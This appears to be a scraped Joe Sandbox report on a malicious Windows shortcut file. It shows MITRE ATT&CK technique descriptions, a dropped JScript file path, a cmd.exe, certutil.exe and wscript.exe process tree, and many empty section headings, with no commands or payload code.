Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Pyo37mDzQ2.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\9cEA9JA\9cEA9JA.jS

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Statistics

Behavior

System Behavior

Analysis Process: cmd.exePID: 3232, Parent PID: 6080

General

Analysis Process: certutil.exePID: 5148, Parent PID: 3232

General

Analysis Process: wscript.exePID: 5188, Parent PID: 3232

General

Disassembly

Windows Analysis Report
Pyo37mDzQ2.lnk